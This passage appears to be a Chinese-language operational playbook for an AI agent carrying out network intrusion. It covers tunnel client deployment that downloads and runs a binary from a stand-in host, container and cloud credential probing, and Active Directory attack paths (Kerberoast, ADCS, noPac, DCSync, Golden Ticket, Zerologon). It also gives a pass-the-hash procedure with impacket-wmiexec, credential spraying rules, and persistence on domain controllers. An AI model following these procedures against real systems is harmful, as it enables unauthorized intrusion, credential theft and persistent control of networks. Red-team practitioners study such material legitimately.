push_tool(cid, "npc/npc_linux_amd64", "/tmp")
exec_cmd(cid, "chmod +x /tmp/npc_linux_amd64 && nohup /tmp/npc_linux_amd64 -server=<NPS_IP>:8024 -vkey=auto &")

# 方式2：目标机器直接从 Bridge 端口下载（无需已有 NPS 客户端）
# exec_cmd(cid, "wget http://<NPS_IP>:8024/files/npc_linux_amd64 -O /tmp/npc && chmod +x /tmp/npc && nohup /tmp/npc -server=<NPS_IP>:8024 -vkey=auto &")
```

### Phase 4: 云原生攻击路径

检测到容器/K8s/云环境时，阅读 `references/cloud-native.md` 获取详细操作指南。

**环境检测脚本**（在可疑主机上执行）：
```python
# 检测容器环境
checks = [
    "cat /proc/1/cgroup 2>/dev/null | grep -i docker",
    "ls -la /.dockerenv 2>/dev/null",
    "echo $KUBERNETES_SERVICE_HOST",
    "cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 50",
    "curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null",  # AWS
    "curl -s --max-time 3 http://100.100.100.200/latest/meta-data/ 2>/dev/null",  # 阿里云
]
for check in checks:
    print(f"[*] {check}")
    print(exec_cmd(cid, check))
```

核心路径：
- **Docker 环境** → CDK evaluate → 逃逸(privileged/docker.sock/capabilities) → 宿主机 NPS 上线
- **K8s 环境** → SA Token → API Server → 枚举权限 → 提权/横向

### Phase 5: 域渗透攻击路径

发现域环境时，阅读 `references/domain.md` 获取详细操作指南。

核心路径决策：

```
[域环境发现]
    |
    ├── 有域用户凭据？
    |   ├── Yes → SharpHound 收集【可选】 → 分析攻击路径
    |   |       ├── Kerberoastable 账户？→ Rubeus kerberoast → 离线破解
    |   |       ├── ADCS 可利用？→ Certify → ESC1/ESC4/ESC8
    |   |       ├── noPac 可利用？→ CVE-2021-42287 → 域管 TGT
    |   |       └── 委派配置？→ RBCD/非约束委派利用
    |   └── No → 先提权获取本地凭据 → mimikatz → 检查域缓存凭据
    |
    ├── 扫描到域控？
        ├── 有域管凭据 → DCSync → krbtgt hash → Golden Ticket
        ├── 有域用户凭据 → ADCS / noPac 提权
        └── 无凭据 → Zerologon (CVE-2020-1472)（最后手段，必须立即恢复DC密码）

```

#### Phase 5.1: PTH 最短路径 SOP

拿到域管/本地管理员 NTLM hash 后，按以下固定流程执行 Pass-the-Hash，不要跳步：

**步骤 1：网络路由检查**

```bash
# 确认 Kali 能否直达目标（域控通常在内网深层网段）
ping -c 1 <dc_ip>
curl --max-time 3 http://<dc_ip>:445 2>&1
```

如果不可达，必须先通过 NPS 建立 SOCKS5 代理：

```python
# 调用 nps-operator skill 在最近的跳板上创建 SOCKS5
# "在客户端 {cid} 上创建 SOCKS5 代理，端口 {port}"
```

**步骤 2：配置 proxychains**

```bash
# proxychains 配置必须指向 127.0.0.1，不是 NPS 外网 IP
cat > /tmp/proxychains_dc.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 <mapped_socks_port>
EOF
```

**铁律**：SOCKS5 地址永远写 `127.0.0.1`，不写 NPS 服务端外网 IP。NPS SOCKS5 隧道监听在本地，不是远程。

**步骤 3：执行 impacket-wmiexec PTH**

```bash
# hash 格式：LMHash:NTHash（无 LM 时用 aad3b435b51404eeaad3b435b51404ee 填充）
proxychains -f /tmp/proxychains_dc.conf impacket-wmiexec \
  -hashes aad3b435b51404eeaad3b435b51404ee:<nt_hash> \
  <domain>/<username>@<dc_ip>
```

**注意事项**：
- `impacket-wmiexec` 不是 `wmiexec.py`，Kali 已装的是带前缀版本
- hash 参数格式是 `LM:NT`，不要只传 NT hash
- 如果报 `connection refused` 或 `timeout`，先确认 SOCKS5 隧道是否存活
- PTH 成功后立即部署 NPS 客户端到域控，建立持久控制

### Phase 6: 凭据管理（贯穿全程）

每获取新凭据，立即：
1. **结构化记录** — 类型(密码/hash/票据/密钥/token)、来源主机、关联用户、权限级别
2. **复用测试（严格限制规模）**：
   - **仅对 fscan 确认存活的主机测试**，禁止对整个 /24 网段喷射
   - **每组凭据最多测试 15 个目标**，超过则优先选择高价值目标（域控、多网卡、关键服务）
   - 密码/hash → `impacket-wmiexec` PTH 逐个测试已知存活主机
   - SSH 密钥 → 对 known_hosts 中的主机逐一尝试
   - 域凭据 → 仅对已知域内主机密码喷洒
   - **禁止** `netexec smb 10.x.x.0/24` 整段喷射
3. **NTLM hash 处理优先级**：
   - **第一步：PTH 直接登录**（`impacket-wmiexec -hashes`），不要先破解明文
   - **第二步：仅对高价值目标密码喷洒**（已知存活、有 SMB 的主机）
   - **第三步：离线破解仅作最后手段**，且只用 top100 小字典，禁止 rockyou 等大字典
   - DCC2 hash 不要花时间破解，直接用对应的 NTLM hash 做 PTH
4. **新访问** → NPS 上线 → Phase 1 循环

---

## Reference 文件使用指南

| 场景 | 读取文件 | 触发条件 |
|------|----------|----------|
| Windows 提权/横向 | `references/windows.md` | 目标为 Windows |
| Linux 提权/横向 | `references/linux.md` | 目标为 Linux |
| 域渗透 | `references/domain.md` | 发现域环境 |
| 云原生/容器 | `references/cloud-native.md` | 检测到 Docker/K8s/云环境 |

多个场景可能同时存在（如域内的 Windows 主机），按需同时参考多个文件。

---

## 脚本生成原则

1. 遵循 nps-operator 约定：NPS 变量在开头、免认证、exec_cmd 用 `.text`、其余用 `.json()`
2. 每个脚本包含所需的 NPS 基础函数，可独立运行
3. 脚本包含结果解析逻辑（正则提取 IP、端口、凭据等关键信息）
4. 复杂操作拆分为多步脚本，每步有明确的输入/输出说明
5. 工具名使用 dist 目录实际文件名（平台后缀匹配）
6. Windows 工具路径：`C:\temp\` 或用户临时目录；Linux：`/tmp/` 或 `/dev/shm/`
7. 包含错误处理：命令超时、工具推送失败、权限不足

